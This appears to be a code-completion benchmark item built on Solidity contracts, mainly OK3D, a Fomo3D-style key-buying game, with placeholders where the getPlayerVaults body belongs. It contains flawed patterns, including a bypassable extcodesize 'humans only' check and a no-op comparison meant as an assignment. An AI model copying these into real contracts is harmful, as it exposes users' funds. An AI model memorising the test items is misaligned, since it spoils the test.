_vaultLockETH(ap.mcdManager(), ap.mcdEthJoin(), vaultNum);
}
function _withdrawVaultCollEth(uint amount) internal {
_vaultFreeETH(ap.mcdManager(), ap.mcdEthJoin(), vaultNum, amount);
}
<FILL_FUNCTION>
function _withdraw(uint shares) internal
{
require(shares > 0, "withdraw must be greater than 0");
uint ibalance = balanceOf(msg.sender);
require(shares <= ibalance, "insufficient balance");
// Could have over value from cTokens
uint pool = calcPoolValueInToken();
// Calc to redeem before updating balances
uint return_amount = (pool.mul(shares)).div(totalSupply());
_burn(msg.sender, shares);
_withdrawVaultCollEth(return_amount);
}
} |
uint _amount = msg.value;
require(_amount > 0, "deposit must be greater than 0");
uint pool = calcPoolValueInToken();
_depositVaultCollEth();
// Calculate pool shares
uint shares = 0;
if (pool == 0) {
shares = _amount;
pool = _amount;
} else {
shares = (_amount.mul(totalSupply())).div(pool);
}
_mint(msg.sender, shares);
| function _deposit() internal | function _deposit() internal |
84528 | OK3D | getPlayerVaults | contract OK3D is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x5015A6E288FF4AC0c62bf1DA237c24c3Fb849188);
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
address private admin = msg.sender;
string constant public name = "OK3D";
string constant public symbol = "OK3D";
uint256 private rndExtra_ = 0; // length of the very first ICO
uint256 private rndGap_ = 2 minutes; // length of ICO phase, set to 1 year for EOS.
uint256 constant private rndInit_ = 12 hours; // round timer starts at this
uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer
uint256 constant private rndMax_ = 24 hours; // max length a round timer can be
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes)
//=============================|================================================
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
uint256 public rID_; // round id number / total rounds that have happened
//****************
// PLAYER DATA
//****************
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own)
//****************
// ROUND DATA
//****************
mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id
//****************
// TEAM FEE DATA
//****************
mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
// Team allocation structures
// 0 = whales
// 1 = bears
// 2 = sneks
// 3 = bulls
// Team allocation percentages
// (F3D, P3D) + (Pot , Referrals, Community)
// Referrals / Community rewards are mathematically designed to come from the winner's share of the pot.
fees_[0] = F3Ddatasets.TeamFee(28,10); //50% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[1] = F3Ddatasets.TeamFee(36,10); //43% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[2] = F3Ddatasets.TeamFee(51,10); //20% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[3] = F3Ddatasets.TeamFee(40,10); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
// how to split up the final pot based on which team was picked
// (F3D, P3D)
potSplit_[0] = F3Ddatasets.PotSplit(25,10); //48% to winner, 25% to next round, 2% to com
potSplit_[1] = F3Ddatasets.PotSplit(25,0); //48% to winner, 25% to next round, 2% to com
potSplit_[2] = F3Ddatasets.PotSplit(20,20); //48% to winner, 10% to next round, 2% to com
potSplit_[3] = F3Ddatasets.PotSplit(20,20); //48% to winner, 10% to next round, 2% to com
activated_ = true;
// lets start first round
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
/**
* @dev converts all incoming ethereum to keys.
* -functionhash- 0x8f38f309 (using ID for affiliate)
* -functionhash- 0x98a0871d (using address for affiliate)
* -functionhash- 0xa65b37a1 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
*/
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
/**
* @dev essentially the same as buy, but instead of you sending ether
* from your wallet, it uses your unwithdrawn earnings.
* -functionhash- 0x349cdcac (using ID for affiliate)
* -functionhash- 0x82bfc739 (using address for affiliate)
* -functionhash- 0x079ce327 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
* @param _eth amount of earnings to use (remainder returned to gen vault)
*/
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
// check to see if round has ended and no one has run round end yet
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// fire withdraw event
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
/**
* @dev use these to register names. they are just wrappers that will send the
* registration requests to the PlayerBook contract. So registering here is the
* same as registering there. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate
* links.
* - must pay a registration fee.
* - name must be unique
* - names will be converted to lowercase
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* -functionhash- 0x921dec21 (using ID for affiliate)
* -functionhash- 0x3ddd4698 (using address for affiliate)
* -functionhash- 0x685ffd83 (using name for affiliate)
* @param _nameString players desired name
* @param _affCode affiliate ID, address, or name of who referred you
* @param _all set to true if you want this to push your info to all games
* (this might cost a lot of gas)
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
/**
* @dev return the price buyer will pay for next 1 individual key.
* -functionhash- 0x018a25e8
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else // rounds over. need price for new round
return ( 75000000000000 ); // init
}
/**
* @dev returns time left. dont spam this, you'll ddos yourself from your node
* provider
* -functionhash- 0xc7e284b8
* @return time left in seconds
*/
function getTimeLeft()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
/**
* @dev returns player earnings per vaults
* -functionhash- 0x63066434
* @return winnings vault
* @return general vault
* @return affiliate vault
*/
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{<FILL_FUNCTION_BODY> }
/**
* solidity hates stack limits. this lets us avoid that hate
*/
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
/**
* @dev returns all current round info needed for front end
* -functionhash- 0x747dff42
* @return eth invested during ICO phase
* @return round id
* @return total keys for round
* @return time round ends
* @return time round started
* @return current pot
* @return current team ID & player ID in lead
* @return current player in leads address
* @return current player in leads name
* @return whales eth in for round
* @return bears eth in for round
* @return sneks eth in for round
* @return bulls eth in for round
* @return airdrop tracker # & airdrop pot
*/
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
return
(
round_[_rID].ico, //0
_rID, //1
round_[_rID].keys, //2
round_[_rID].end, //3
round_[_rID].strt, //4
round_[_rID].pot, //5
(round_[_rID].team + (round_[_rID].plyr * 10)), //6
plyr_[round_[_rID].plyr].addr, //7
plyr_[round_[_rID].plyr].name, //8
rndTmEth_[_rID][0], //9
rndTmEth_[_rID][1], //10
rndTmEth_[_rID][2], //11
rndTmEth_[_rID][3], //12
airDropTracker_ + (airDropPot_ * 1000) //13
);
}
/**
* @dev returns player info based on address. if no address is given, it will
* use msg.sender
* -functionhash- 0xee0b5d8b
* @param _addr address of the player you want to lookup
* @return player ID
* @return player name
* @return keys owned (current round)
* @return winnings vault
* @return general vault
* @return affiliate vault
* @return player round eth
*/
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, //0
plyr_[_pID].name, //1
plyrRnds_[_pID][_rID].keys, //2
plyr_[_pID].win, //3
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID][_rID].eth //6
);
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine)
//=====================_|=======================================================
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
/**
* @dev logic runs whenever a reload order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// get earnings from all vaults and return unused to gen vault
// because we use a custom safemath library. this will throw if player
// tried to spend more eth than they have.
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
// call core
core(_rID, _pID, _eth, _affID, _team, _eventData_);
// if round is not active and end round needs to be ran
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
// early round eth limiter
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// manage airdrops
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 10000000000000000000)
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 2 prize was won
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
}
// set airdrop happened bool to true
_eventData_.compressedData += 10000000000000000000000000000000;
// let event know how much was won
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
// reset air drop tracker
airDropTracker_ = 0;
}
}
// store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
// update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
// distribute eth
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
//==============================================================================
// _ _ | _ | _ _|_ _ _ _ .
// (_(_||(_|_||(_| | (_)| _\ .
//==============================================================================
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
/**
* @dev returns the amount of keys you would get given an amount of eth.
* -functionhash- 0xce89c80c
* @param _rID round ID you want price for
* @param _eth amount of eth sent in
* @return keys received
*/
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else // rounds over. need keys for new round
return ( (_eth).keys() );
}
/**
* @dev returns current eth price for X keys.
* -functionhash- 0xcf808000
* @param _keys number of keys desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else // rounds over. need price for new round
return ( (_keys).eth() );
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
/**
* @dev receives name/player info from names contract
*/
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev receives entire player name list
*/
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return pID
*/
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
// if player is new to this version of fomo3d
if (_pID == 0)
{
// grab their player ID, name and last aff ID, from player names contract
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
// set up player account
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
// set the new player bool to true
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
/**
* @dev checks to make sure user picked a valid team. if not sets team
* to default (sneks)
*/
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
/**
* @dev decides if round end needs to be run & new round started. and if
* player unmasked earnings from previously played rounds need to be moved.
*/
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// if player has played a previous round, move their unmasked earnings
// from that round to gen vault.
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
// update player's last round played
plyr_[_pID].lrnd = rID_;
// set the joined round bool to true
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// setup local rID
uint256 _rID = rID_;
// grab our winning player and team id's
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
// grab our pot amount
uint256 _pot = round_[_rID].pot;
// calculate our winner share, community rewards, gen share,
// p3d share, and amount reserved for next pot
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
// calculate ppt for round mask
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// community rewards
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
// distribute gen portion to key holders
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// prepare event data
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
